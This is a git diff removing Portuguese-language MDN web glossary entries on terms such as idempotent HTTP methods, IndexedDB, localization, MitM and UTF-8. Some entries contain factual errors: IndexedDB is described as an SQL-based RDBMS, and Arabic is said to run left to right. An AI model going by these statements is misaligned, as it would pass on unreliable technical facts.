Sequência de texto que permite a remissão para outra localização (documento, ficheiro, página da Internet, etc.). -

-"hipertexto", in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, https://www.priberam.pt/dlpo/hipertexto [consultado em 03-12-2017].
-
- -

Hipertexto é o texto que contém as hiperligações para outros textos, em oposição a um único fluxo linear, tal como numa novela.

- -
Sequência de texto que permite a remissão para outra localização (documento, ficheiro, página da Internet, etc.). - -

-"hipertexto", in Dicionário Priberam da Língua Portuguesa [em linha], 2008-2013, https://www.priberam.pt/dlpo/hipertexto [consultado em 03-12-2017].
-
- -

O termo foi criado por Ted Nelson, por volta de 1965.

- -

Saiba mais

- -

Conhechimento Geral

- -
    -
  • {{interwiki("wikipedia", "Hypertext", "Hipertexto")}} na Wikipédia
  • -
- -

Referência técnica

- - - -
- - - - - -
diff --git a/files/pt-pt/glossary/iana/index.html b/files/pt-pt/glossary/iana/index.html deleted file mode 100644 index 7e876ea547..0000000000 --- a/files/pt-pt/glossary/iana/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: IANA -slug: Glossary/IANA -tags: - - Glossário - - Infraestrutura -translation_of: Glossary/IANA -original_slug: Glossário/IANA ---- -

IANA (Internet Assigned Numbers Authority), em português "autoridade para atribuição de números de internet", é uma filial da {{glossary("ICANN")}} reposável pelo registo e / ou atribuição de {{glossary("domain name","nomes de dominio")}}, {{glossary("IP address","endreços IP")}}, e outros nomes e números utilizados pelos {{glossary("protocol","protocolos")}} da Internet.

- -

Aprende Mais

- -

Conhecimento geral

- -
    -
  • Site official
  • -
  • {{interwiki("wikipedia", "Internet Assigned Numbers Authority", "IANA")}} no Wikipedia
  • -
diff --git a/files/pt-pt/glossary/idempotent/index.html b/files/pt-pt/glossary/idempotent/index.html deleted file mode 100644 index 354dc28eb7..0000000000 --- a/files/pt-pt/glossary/idempotent/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Idempotent -slug: Glossary/Idempotent -translation_of: Glossary/Idempotent -original_slug: Glossário/Idempotent ---- -

Um método HTTP é idempotente se, e só se, o mesmo pedido puder ser feito mais do que uma vez, tendo sempre o mesmo resultado e deixando o servidor no mesmo estado. Por outras palavras, um método idempotente não deve ter efeitos secundários. Implementados corretamente, os métodos {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, and {{HTTPMethod("DELETE")}} são idempotentes, mas não o método {{HTTPMethod("POST")}}. Todos os métodos {{glossary("safe")}} também são idempotentes.

- -

Para ser idempotente, apenas o "back-end" do servidor é considerado, sendo que o estado retornado por cada pedido pode diferir: a primeira chamada de {{HTTPMethod("DELETE")}} deve retornar {{HTTPStatus("200")}}, enquanto as sucessivas devem retornar {{HTTPStatus("404")}}. Outra implicação de o {{HTTPMethod("DELETE")}} ser idempotente é que os programadores não devem implementar APIs RESTful com a funcionalidade de apagar última entrada usando o método de DELETE.

- -

É de notar que a idempotência de um método não é garantida pelo servidor e algumas aplicações podem incorretamente violar a constrição de idempotência.

- -

GET /pageX HTTP/1.1 é idempotente. Com várias chamadas ao servidor, o cliente obtém os mesmos resultados:

- -
GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-GET /pageX HTTP/1.1
-
- -

POST /add_row HTTP/1.1 não é idempotente; com várias chamadas ao servidor, adiciona novas linhas:

- -
POST /add_row HTTP/1.1
-POST /add_row HTTP/1.1   -> Adiciona uma 2ª linha
-POST /add_row HTTP/1.1   -> Adiciona uma 3ª linha
-
- -

DELETE /idX/delete HTTP/1.1 é idempotente, mesmo que o estado de retorno seja diferente entre cada chamada:

- -
DELETE /idX/delete HTTP/1.1   -> Returns 200 se idX existir
-DELETE /idX/delete HTTP/1.1   -> Returns 404 visto que idX acabou de ser apagado
-DELETE /idX/delete HTTP/1.1   -> Returns 404
- -

Saber mais

- -

Conhecimento comum

- -
    -
  • Definição de "idempotent" na especificação de HTTP.
  • -
- -

Conhecimento técnico

- -
    -
  • Alguns métodos idempotentes comuns: {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("TRACE")}}
  • -
  • Alguns métodos não-idempotentes comuns: {{HTTPMethod("POST")}},{{HTTPMethod("PATCH")}}, {{HTTPMethod("CONNECT")}}
  • -
diff --git a/files/pt-pt/glossary/index.html b/files/pt-pt/glossary/index.html deleted file mode 100644 index c8ee5a0bab..0000000000 --- a/files/pt-pt/glossary/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Glossário -slug: Glossary -tags: - - Beginner - - Dicionário - - Glossário - - Index - - Landing - - Terminologia - - definições -translation_of: Glossary -original_slug: Glossário ---- -
{{LearnBox({"title":"Aprenda um termo novo:"})}}
- -

As tecnologias da Web contêm listas longas de gíria e abreviações que são utilizadas na documentação e programação. Este glossário fornece definições de palavras e abreviações que precisa de saber para compreender e criar para a Web com sucesso.

- -

Termos do Glossário

- -

{{GlossaryList({"split":"h3", "css":"multiColumnList"})}}

- -

Contribua para o glossário

- -

Este glossário é um trabalho sem fim e em progresso. Pode ajudar a melhorá-lo, inserindo novas entradas ou melhorando as já existentes. O modo mais fácil para começar é clicar no botão seguinte ou escolher um dos termos sugeridos abaixo.

- -

Adicionar uma nova entrada ao glossário

- -

{{GlossaryList({"terms":["at-rule", "ALPN", "Attack", "Byte-Order Mark", "client", "Character set", "cryptosystem", "debug", "digital signature", "execution", "flex-direction", "GLSL", "Interface", "Library", "Memory management", "routers", "Self-Executing Anonymous Function", "Stylesheet", "Vector image"], "filter":"notdefined", "css":"multiColumnList"})}}

- -

Se pretender saber mais sobre como contribuir para o glossário, consulte a página do estado da documentação do glossário.

- - diff --git a/files/pt-pt/glossary/indexeddb/index.html b/files/pt-pt/glossary/indexeddb/index.html deleted file mode 100644 index 362ca5c769..0000000000 --- a/files/pt-pt/glossary/indexeddb/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: IndexedDB -slug: Glossary/IndexedDB -tags: - - API - - Banco de Dados - - Glossário - - Sql -translation_of: Glossary/IndexedDB -original_slug: Glossário/IndexedDB ---- -

IndexedDB é uma {{glossary("API")}} de web para armazenar volumosas estruturas de dados dentro dos navegadores e indexá-los para buscas de alto desempenho. Sendo um RDBMS baseado em {{glossary("SQL")}}, IndexedDB é um sistema de banco de dados transacionais. Porém ele usa objectos {{glossary("JavaScript")}} ao invés de tabelas em colunas fixas para armazenar os dados.

- -

Aprenda mais

- - diff --git a/files/pt-pt/glossary/isp/index.html b/files/pt-pt/glossary/isp/index.html deleted file mode 100644 index dc71c855cd..0000000000 --- a/files/pt-pt/glossary/isp/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: ISP -slug: Glossary/ISP -tags: - - Fornecedor de acesso à internet - - Glossário - - ISP - - Web - - WebMechanics -translation_of: Glossary/ISP -original_slug: Glossário/ISP ---- -

Um ISP (Fornecedor de Acesso à Internet ou em inglês Internet Service Provider) vende acesso à Internet e, por vezes, e-mail, alojamento Web e voz sobre IP, quer através de uma ligação telefónica (antigamente mais comum), quer através de uma ligação de banda larga, tal como um modem por cabo ou serviço DSL.

- -

Saiba mais

- -

Conhecimento Geral

- -
    -
  • Como a Internet funciona (explicação para iniciantes)
  • -
  • {{interwiki("wikipedia", "Fornecedor de acesso à internet", "Fornecedor de acesso à internet")}} on Wikipedia
  • -
diff --git a/files/pt-pt/glossary/lazy_load/index.html b/files/pt-pt/glossary/lazy_load/index.html deleted file mode 100644 index f4fa4bec94..0000000000 --- a/files/pt-pt/glossary/lazy_load/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Lazy load -slug: Glossary/Lazy_load -tags: - - Glossário - - Lazy loading - - Referencia - - Web Performance -translation_of: Glossary/Lazy_load -original_slug: Glossário/Lazy_load ---- -

O Lazy loading (carregamento preguiçoso) é uma estratégia que atrasa o carregamento de alguns recursos (por exemplo, imagens) até serem necessários pelo utilizador com base na actividade do utilizador e no seu padrão de navegação; normalmente, estes recursos só são carregados quando são visualizados. Se implementado correctamente, este atraso no carregamento de activos é ininterrupto para a experiência do utilizador e pode ajudar a melhorar o desempenho da carga inicial, incluindo o time to interactive, uma vez que são necessários menos recursos para que a página comece a funcionar.

- -

Consultar também

- - diff --git a/files/pt-pt/glossary/localization/index.html b/files/pt-pt/glossary/localization/index.html deleted file mode 100644 index d22f7537a1..0000000000 --- a/files/pt-pt/glossary/localization/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Localização -slug: Glossary/Localization -tags: - - Colaboração - - Glossário - - Introdução - - Localização - - Mecânica da Web -translation_of: Glossary/Localization -original_slug: Localização ---- -
Localização (l10n) é o processo de adaptar uma interface do utilizador do software para uma cultura específica. -

 

- -

O seguinte são fatores comuns a considerar:

- -
    -
  • idioma
  • -
  • unidade de medida (por exempo, quilómetros na Europa, milhas nos EUA)
  • -
  • direção do texto (por exemplo, os idiomas Europeus são esquerda para a direita, Árabe da esquerda para a direita)
  • -
  • capitalização em script Latim (por exemplo, o inglês utilzia maiúsculas para os dias da semana, espanhol utiliza minúsculas)
  • -
  • adaptação dos idiomas (por exemplo, "raining cats and dogs" não faz sentido quando traduzido literalmente)
  • -
  • utilização de register (por exemplo, no discurso respeitoso em japonês difere excecionalmente do discurso casual)
  • -
  • formato de número (por exemplo, 10 000,00 na Alemanha vs. 10,000.00 nos EUA)
  • -
  • formato de data
  • -
  • moeda
  • -
  • referências culturais
  • -
  • tamanho do papel
  • -
  • color psychology
  • -
  • conformidade com as leis locais
  • -
  • feriados locais
  • -
  • nomes pessoais
  • -
- -

Saber mais

- -

Conhecimento Geral

- -
    -
  • {{Link("/pt-PT/docs/Mozilla/Localization")}} na MDN
  • -
  • {{interwiki("wikipedia", "Localização", "Localização")}} na Wikipédia
  • -
- -

 

- -

 

-
diff --git a/files/pt-pt/glossary/main_axis/index.html b/files/pt-pt/glossary/main_axis/index.html deleted file mode 100644 index 07f9d5b45c..0000000000 --- a/files/pt-pt/glossary/main_axis/index.html +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Eixo principal -slug: Glossary/Main_Axis -tags: - - CSS - - Glossário - - flexbox -translation_of: Glossary/Main_Axis -original_slug: Glossário/Eixo_principal ---- -

O eixo principal num {{glossary("flexbox")}} tem a direção definida pela propriedade {{cssxref("flex-direction")}}. Esta propriedade pode ter os seguintes valores:

- -
    -
  • row
  • -
  • row-reverse
  • -
  • column
  • -
  • column-reverse
  • -
- -

Quando o valor é row ou row-reverse ou eixo principal fica na horizontal, ao longo de cada linha.

- -

In this image the flex-direction is row which forms the main axis

- -

Quando o valor é column ou column-reverse o eixo principal fica na vertical, ao longo dos blocos.

- -

- -

No eixo principal pode-se controlar o tamanho dos elementos flexíveis aumentando o espaço disponível para os próprios elementos, através da propriedade flex de cada um. Em alternativa, pode-se controlar o espaço entre/à volta dos elementos com a propriedade justify-content.

- -

Aprender mais

- -

Referência das propriedades

- -
-
    -
  • {{cssxref("flex-basis")}}
  • -
  • {{cssxref("flex-direction")}}
  • -
  • {{cssxref("flex-grow")}}
  • -
  • {{cssxref("flex-shrink")}}
  • -
  • {{cssxref("justify-content")}}
  • -
  • {{cssxref("flex")}}
  • -
-
- -

Aprofundar

- - diff --git a/files/pt-pt/glossary/metadata/index.html b/files/pt-pt/glossary/metadata/index.html deleted file mode 100644 index 118cd4c4cf..0000000000 --- a/files/pt-pt/glossary/metadata/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Metadados -slug: Glossary/Metadata -tags: - - Glossário - - HTML - - Programação Scripting - - metadados -translation_of: Glossary/Metadata -original_slug: Glossário/Metadados ---- -

Metadados é — na sua definição mais simples - dados que descrevem dados. Por exemplo, um documento {{glossary("HTML")}} é dados, mas HTML também pode conter metadados no seu elemento {{htmlelement("head")}} que descreve o documento — por exemplo, quem o escreveu, e o seu resumo.

- -

Saber mais

- -

Conhecimento Geral

- -
    -
  • {{interwiki("wikipedia", "metadata", "Metadados")}} na Wikipédia
  • -
- -

Metadados de HTML

- -
    -
  • O elemento {{htmlelement("meta","metadados")}} na MDN
  • -
diff --git a/files/pt-pt/glossary/mitm/index.html b/files/pt-pt/glossary/mitm/index.html deleted file mode 100644 index 8639041f20..0000000000 --- a/files/pt-pt/glossary/mitm/index.html +++ /dev/null @@ -1,114 +0,0 @@ ---- -title: MitM -slug: Glossary/MitM -tags: - - Glossário - - Segurança -translation_of: Glossary/MitM -original_slug: Glossário/MitM ---- -

Um Ataque Man-in-the-middle (MitM) interceta uma comunicação entre dois sistemas. Por exemplo, um roteador Wi-Fi pode estar comprometido.

- -

Comparando isto com o correio físico: se estiverem a escrever cartas para cada um, o carteiro pode intercetar cada carta que manda. Eles abrem-na, lêem-na, eventualmente modificam-na, e depois colocam-na numa carta e só então é que a enviam para o seu destinatário . O recipiente original então responderia à carta, e o carteiro abriria-a novamente, lia-a, eventualmente modificava-a, colocava-a num envelope, e a entregaria a si. Não saberia que exisite um "homem no meio" no seu canal de comunicação – o carteiro é invisível para si e para o seu recipiente.

- -

No correio físico e na comunicação on-line, os ataques MITM são difíceis de defender. Algumas dicas:

- -
    -
  • Não ignore apenas os avisos de certificado. Pode estar a ligar-se a um servidor de phishing ou um a servidor impostor.
  • -
  • Os sites sensíveis sem encriptação HTTPS nas redes de Wi-Fi públicas não são confiáveis.
  • -
  • Veja se tem HTTPS na sua barra de endereço e assegure que a encriptação está ativada antes iniciar a sessão.
  • -
- -
-

Saber mais

- -
    -
  • OWASP - Artigo: ataque ataque Man-in-the-middle (inglês)
  • -
  • Wikipedia: Ataque Man-in-the-middle
  • -
  • O cabeçalho {{HTTPHeader("Public-Key-Pins")}} ({{Glossary("HPKP")}}) pode reduzir significativamente o risco de MITM, instruindo os navegadores para solicitarem um certificado na 'lista branca' para todas as ligações subseqüentes àquele site da Web.
  • -
-
- -
- - - - - -
diff --git a/files/pt-pt/glossary/node.js/index.html b/files/pt-pt/glossary/node.js/index.html deleted file mode 100644 index aacd62b9a1..0000000000 --- a/files/pt-pt/glossary/node.js/index.html +++ /dev/null @@ -1,111 +0,0 @@ ---- -title: Node.js -slug: Glossary/Node.js -tags: - - Glossário - - Infraestrutura - - JavaScript - - node.js -translation_of: Glossary/Node.js -original_slug: Glossário/Node.js ---- -

Node.js é um ambiente de execução multiplataforma em {{Glossary("JavaScript")}} que permite aos programadores criarem aplicações de rede e 'lado do servidor' com JavaScript.

- -

Saber mais

- -

Conhecimentos Gerais

- - - -

Informação técnica

- - - -
- - - - - -
diff --git a/files/pt-pt/glossary/object/index.html b/files/pt-pt/glossary/object/index.html deleted file mode 100644 index f2947707b7..0000000000 --- a/files/pt-pt/glossary/object/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Objeto -slug: Glossary/Object -tags: - - Glossary - - Glossário - - Introdução - - Objeto - - Programação Scripting -translation_of: Glossary/Object -original_slug: Glossário/Objeto ---- -

Objeto refere-se a uma estrutura de dados contendo dados e instruções para trabalhar com os dados. Os objetos às vezes referem-se a coisas do mundo real, por exemplo, um carro ou objeto de mapa num jogo de carros. {{glossary("JavaScript")}}, Java, C++, Python, e Ruby são exemplos de linguagens em {{glossary("OOP","programação orientada em objeto")}}.

- -

Saber mais

- -

Conhecimento Geral

- - diff --git a/files/pt-pt/glossary/object_reference/index.html b/files/pt-pt/glossary/object_reference/index.html deleted file mode 100644 index f368d7bbae..0000000000 --- a/files/pt-pt/glossary/object_reference/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Referência de objeto -slug: Glossary/Object_reference -tags: - - CodingScripting - - Glossary - - Glossário -translation_of: Glossary/Object_reference -original_slug: Glossário/Referencia_de_objeto ---- -

Uma ligação para um {{glossary("object","objeto")}}. Referências de objeto podem ser utilziadas como objetos interligados.

- -

O conceito de referências de objeto fica claro quando atribuir o mesmo objeto a mais de uma {{glossary("property","propriedade")}}. Em vez de manter uma cópia do objeto, cada propriedade atribuída contém referências de objeto que se vinculam ao mesmo objeto, de modo que, quando o objeto altera todas as propriedades referentes ao objeto, refletem a alteração.

- -

Saber mais

- -

Conhecimento geral

- - diff --git a/files/pt-pt/glossary/oop/index.html b/files/pt-pt/glossary/oop/index.html deleted file mode 100644 index a266f0149b..0000000000 --- a/files/pt-pt/glossary/oop/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: OOP -slug: Glossary/OOP -tags: - - Glossário - - Principiante - - Programação Scripting -translation_of: Glossary/OOP -original_slug: Glossário/OOP ---- -

OOP (Programação Orientada em Objeto) é uma abordagem na programação em que os dados são encapsulados dentro de {{glossary("object","objetos")}} e onde o próprio objeto é operado, em vez de suas partes componentes.

- -

{{glossary("JavaScript")}} é totalmente orientado em objeto. Este segue um modelo baseado em protótipo (em oposição ao baseado em classe).

- -

Saber mais

- -

Conhecimento Gera

- - diff --git a/files/pt-pt/glossary/ota/index.html b/files/pt-pt/glossary/ota/index.html deleted file mode 100644 index 4b787f6b5b..0000000000 --- a/files/pt-pt/glossary/ota/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: OTA -slug: Glossary/OTA -tags: - - Glossário - - Infraestrutura - - OTA - - Wireless - - updates -translation_of: Glossary/OTA -original_slug: Glossário/OTA ---- -

Over-The-Air (OTA ou "Pelo-Ar") refere-se à atualização automática de programas de dispositivos conectados a partir de um servidor central. Todos os proprietários de dispositivos ao receber um determinado conjunto de atualizações estão sob o mesmo "canal"; e cada dispositivo pode amiúde acessar vários canais (e.g. para "builds" de produção ou engenharia).

- -

Aprenda mais

- -

Conhecimentos Gerais

- - diff --git a/files/pt-pt/glossary/polyfill/index.html b/files/pt-pt/glossary/polyfill/index.html deleted file mode 100644 index b72e8fd7cf..0000000000 --- a/files/pt-pt/glossary/polyfill/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Polyfill -slug: Glossary/Polyfill -translation_of: Glossary/Polyfill -original_slug: Glossário/Polyfill ---- -

Um polyfill é um pedaço de código (geralmente JavaScript) usado para fornecer funcionalidades modernas em browsers mais antigos que não o suportam nativamente.

- -

Por exemplo, um polyfill pode ser usado para simular a funcionalidade de um elemento HTML Canvas no Microsoft Internet Explorer 7, usando o plugin Silverlight, ou simular o suporte para unidades rem em CSS, ou {{cssxref("text-shadow")}}, ou qualquer outra coisa que você queira.

- -

Saber mais

- -

Conhecimento geral

- - diff --git a/files/pt-pt/glossary/prototype-based_programming/index.html b/files/pt-pt/glossary/prototype-based_programming/index.html deleted file mode 100644 index 9dde44c37f..0000000000 --- a/files/pt-pt/glossary/prototype-based_programming/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Programação baseada em protótipo -slug: Glossary/Prototype-based_programming -tags: - - Glossário - - Programação Scripting -translation_of: Glossary/Prototype-based_programming -original_slug: Glossário/Prototype-based_programming ---- -

A programação baseada em protótipo é um estilo de {{Glossary("OOP", " programação orientada em objeto")}} em que as {{Glossary('Class', 'classes')}} não são explicitamente definidas, mas sim derivadas adicionando as propriedades e os métodos a uma instância de outra classe ou, com menos freqüência, adicione-os a um objeto vazio.

- -

Em palavras simples, esse tipo de estilo permite criar um {{Glossary ('Object', 'objeto')}}. sem definir a sua {{Glossary('Class', 'classe')}} .

- -

Conhecimento Geral

- -
    -
  • {{Interwiki("wikipedia", "Prototype-based programming", "Programação orientada em objeto")}} na Wikipédia
  • -
diff --git a/files/pt-pt/glossary/scm/index.html b/files/pt-pt/glossary/scm/index.html deleted file mode 100644 index bb4f1d5f09..0000000000 --- a/files/pt-pt/glossary/scm/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: GCS -slug: Glossary/SCM -tags: - - CodingScripting - - GCS - - Glossário - - SCM -translation_of: Glossary/SCM -original_slug: Glossário/GCS ---- -

O GCS (Gestão de Controlo de Software ou Source Control Management) é um sistema de gestão do código fonte. Normalmente refere-se à utilização de software para o controlo de versões. Um programador pode modificar arquivos de código fonte sem ter medo de editar coisas úteis, porque um GCS mantém um registo de como o código fonte muda e quem faz as alterações.

- -

Sistemas de gerência de configuração de software incluí CVS, SVN, {{glossary("GIT")}}.

- -

Saiba mais

- -

Conhecimento geral

- -
    -
  • {{Interwiki("wikipedia", "Gerência_de_configuração_de_software", "GCS")}} na Wikipedia
  • -
diff --git a/files/pt-pt/glossary/server/index.html b/files/pt-pt/glossary/server/index.html deleted file mode 100644 index dca22e6b38..0000000000 --- a/files/pt-pt/glossary/server/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Servidor -slug: Glossary/Server -tags: - - Glossário - - Infraestrutura - - Protocolo - - Rede - - Servidor -translation_of: Glossary/Server -original_slug: Glossário/Servidor ---- -

Um servidor hardware é um computador compartilhado em uma rede que provê serviços a clientes. Um servidor software é um programa que provê serviços a programas clientes.

- -

Os serviços são providos normalmente pela rede local ou por redes remotas. Programas cliente e servidor tradicionalmente se conectam a enviar mensagens por meio de um {{glossary("protocolo")}}.

- -

Os servidores mais comuns numa rede local são os de ficheiros, nomes, emails, impressoras e fax. Outro exemplo comum de servidor é o de páginas da web conectado à Internet. Os minicomputadores, mainframes e super computadores nas centrais de dados também são servidores.

- -

Aprenda mais

- -

Conhecimentos Gerais

- - diff --git a/files/pt-pt/glossary/signature/index.html b/files/pt-pt/glossary/signature/index.html deleted file mode 100644 index 2bc2ca9ee9..0000000000 --- a/files/pt-pt/glossary/signature/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Assinatura -slug: Glossary/Signature -tags: - - Desambiguação - - Glossário -translation_of: Glossary/Signature -original_slug: Glossário/Assinatura ---- -

O termo assinatura pode ter vários significados dependendo do contexto. Este pode referir-se a:

- -

{{GlossaryDisambiguation}}

- -

Saber mais

- -
    -
  • {{Interwiki("wikipedia", "Signature_(disambiguation)", "Assinatura")}} na Wikipédia
  • -
- -
- - - - - -
diff --git a/files/pt-pt/glossary/tag/index.html b/files/pt-pt/glossary/tag/index.html deleted file mode 100644 index f25d60ec10..0000000000 --- a/files/pt-pt/glossary/tag/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Tag -slug: Glossary/Tag -translation_of: Glossary/Tag -original_slug: Glossário/Etiqueta ---- -

Em {{Glossary("HTML")}} é utilizada uma tag para criar um {{Glossary("element","elemento")}}.  O name de um elemento de HTML é o name utilizado em parêntese angular, tal como <p> para parágrafo. Note que a etiqueta de fim name é precedida pelo caráter "barra oblíqua", "</p>", e nos elementos vazios a etiqueta de fim não é necessária, nem permitida. Se os atributos não forem mencionados, são utilizados os valores predefinidos, em cada caso. 

- -

Saber mais

- -

Conhecimento Geral

- - - -

Referência técnica

- - - -

 

- -

 

diff --git a/files/pt-pt/glossary/utf-8/index.html b/files/pt-pt/glossary/utf-8/index.html deleted file mode 100644 index d89092ed0b..0000000000 --- a/files/pt-pt/glossary/utf-8/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: UTF-8 -slug: Glossary/UTF-8 -tags: - - CodingScripting - - Glossário - - HTML - - JavaScript - - Utf-8 -translation_of: Glossary/UTF-8 -original_slug: Glossário/UTF-8 ---- -

UTF-8 (UCS Transformation Format 8) é o {{Glossary("Character encoding", "caráter de codificação")}} mais comum da World Wide Web. Cada caráter é representado por um até quatro bytes. UTF-8 é compatível com versões anteriores de {{Glossary("ASCII")}} e pode representar qualquer caráter Unicode padrão.

- -

Os 128 primeiros carateres UTF-8 correspondem precisamente com os 128 primeiros carateres ASCII (numerado 0-127), o que significa que o texto ASCII existente já é um UTF-8 válido. Todos os outros carateres utilizam dois até quatro bytes. Cada byte tem alguns bits reservados para efeitos de codificação. Porque os carateres não ASCII requerem mais do que um byte para armazenamento, eles correm o risco de ficarem corruptos se os bytes são separados e não recombinados..

- -

Saiba mais

- -

Conhecimento geral

- - diff --git a/files/pt-pt/glossary/value/index.html b/files/pt-pt/glossary/value/index.html deleted file mode 100644 index f3bb6c32a6..0000000000 --- a/files/pt-pt/glossary/value/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Valor -slug: Glossary/Value -tags: - - CodingScripting - - Glossary - - Glossário - - NeedsContent - - Precisa de Conteúdo -translation_of: Glossary/Value -original_slug: Glossário/Valor ---- -

No contexto de dados ou um objeto {{Glossary("Wrapper", "wrapper")}} em torno desses dados, o valor é o {{Glossary("Primitive","valor primitivo")}} que o objeto wrapper contém. No contexto de uma {{Glossary("Variable","variável")}} ou {{Glossary("Property","propriedade")}}, o valor pode ser um primitivo ou uma {{Glossary("Object reference","referência de objeto")}}.

- -

Saber mais

- -

Conhecimento geral

- - diff --git a/files/pt-pt/glossary/viewport/index.html b/files/pt-pt/glossary/viewport/index.html deleted file mode 100644 index 2d6ce9bc4b..0000000000 --- a/files/pt-pt/glossary/viewport/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Viewport -slug: Glossary/Viewport -tags: - - CodingScripting - - Glossário - - Layout - - viewport -translation_of: Glossary/Viewport -original_slug: Glossário/Viewport ---- -

Um viewport representa uma área poligonal (normalmente rectangular) na computação gráfica que pode ser visualizada. Em termos de navegador web, refere-se à area do documento que que é possível visualizar.

- -

A parte da viewport que está actualmente visível chama-se {{glossary("visual viewport", "viewport visual")}}. Esta pode ser menor do que a viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport continua a ser o mesmo, mas o viewport visual tornou-se mais pequeno.

- -

Saiba Mais

- -

Conhecimento Geral

- - - - diff --git a/files/pt-pt/glossary/visual_viewport/index.html b/files/pt-pt/glossary/visual_viewport/index.html deleted file mode 100644 index 15e0f838d9..0000000000 --- a/files/pt-pt/glossary/visual_viewport/index.html +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: Viewport Visual -slug: Glossary/Visual_Viewport -tags: - - Glossário - - VisualViewport - - viewport - - viewport visual -translation_of: Glossary/Visual_Viewport -original_slug: Glossário/Viewport_Visual ---- -

A parte do {{Glossary("viewport")}} que é actualmente visível chama-se o "viewport visual". Este pode ser menor que o viewport do layout, por exemplo, quando o utilizador faz um zoom localizado. O viewport visual é a parte visível de um ecrã, excluindo teclados no ecrã, áreas fora de uma área do zoom localizado, ou qualquer outro artefacto no ecrã cuja escala seja independente das dimensões de uma página.

- -

Saiba Mais

- -

Conhecimento Geral

- - diff --git a/files/pt-pt/glossary/webextensions/index.html b/files/pt-pt/glossary/webextensions/index.html deleted file mode 100644 index cd9eca2847..0000000000 --- a/files/pt-pt/glossary/webextensions/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Extensões da Web -slug: Glossary/WebExtensions -tags: - - CodingScripting - - Extensões da Web - - Glossário - - Precisa de Conteúdo -translation_of: Glossary/WebExtensions -original_slug: Glossário/Extensoes_da_Web ---- -

'Extensões da Web' é um sistema cruzado de navegador para o desenvolvimento de extensões de navegador no Firefox. Este sistema fornece APIs, que em grande parte são suportadas em diferentes navegadores , tais como o Google Chrome, Microsoft Edge, Mozilla Firefox e Opera Browser.

- -

Saiba mais

- -

referência técnica

- - diff --git a/files/pt-pt/glossary/webrtc/index.html b/files/pt-pt/glossary/webrtc/index.html deleted file mode 100644 index 23ca2c94b2..0000000000 --- a/files/pt-pt/glossary/webrtc/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: WebRTC -slug: Glossary/WebRTC -tags: - - Glossário - - Infraestrutura - - JavaScript - - P2P - - VoIP - - WebRTC -translation_of: Glossary/WebRTC -original_slug: Glossário/WebRTC ---- -

WebRTC (Comunicações da Web em Tempo Real) é uma {{Glossary("API")}} que pode ser utilizada por aplicativos de videoconferência, chamadas de voz, e P2P.

- -

O WebRTC consiste principalmente destas partes:

- -
-
{{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}
-
Concede acesso à câmera e / ou microfone de um dispositivo, e pode conectar os seus sinais a uma conexão RTC.
-
{{domxref("RTCPeerConnection")}}
-
Uma interface para configurar videoconferências ou chamadas de voz.
-
{{domxref("RTCDataChannel")}}
-
Fornece um método para estabelecer uma conexão {{Glossary("P2P")}} entre navegadores web.
-
- -

Veja também

- - diff --git a/files/pt-pt/glossary/webvtt/index.html b/files/pt-pt/glossary/webvtt/index.html deleted file mode 100644 index fcfc456686..0000000000 --- a/files/pt-pt/glossary/webvtt/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: WebVTT -slug: Glossary/WebVTT -tags: - - Audio - - CodingScripting - - Glossário - - Video - - Web - - WebVTT -translation_of: Glossary/WebVTT -original_slug: Glossário/WebVTT ---- -

WebVTT (Web Video Text Tracks) (em português Faixas de Texto de Vídeo da Web) é uma especificação {{Glossary("W3C")}} para um formato de ficheiro que marca os recursos da faixa de texto em combinação com o elemento HTML {{HTMLElement("track")}}.

- -

Os ficheiros WebVTT fornecem metadados síncronos com conteúdos os de áudio ou vídeo, como legendas, descrições de vídeo em texto, capítulos para navegação no conteúdo, e mais.

- -

Saiba mais

- -

Conhecimento Geral

- -
    -
  • WebVTT na Wikipedia
  • -
- -

Referência técnica

- - diff --git a/files/pt-pt/glossary/whatwg/index.html b/files/pt-pt/glossary/whatwg/index.html deleted file mode 100644 index 7460bb77c4..0000000000 --- a/files/pt-pt/glossary/whatwg/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: WHATWG -slug: Glossary/WHATWG -tags: - - Communidade - - DOM - - Glossário - - HTML - - HTML5 - - WHATWG - - Web - - standards -translation_of: Glossary/WHATWG -original_slug: Glossário/WHATWG ---- -

O WHATWG (Web Hypertext Application Technology Working Group) é uma comunidade que mantém e desenvolve padrões web, incluindo {{Glossary("DOM")}}, Fetch, e {{Glossary("HTML")}}. Funcionários da Apple, Mozilla, e Opera estabeleceram o WHATWG em 2004.

- -

Saiba mais

- -

Conhecimento Geral

- -
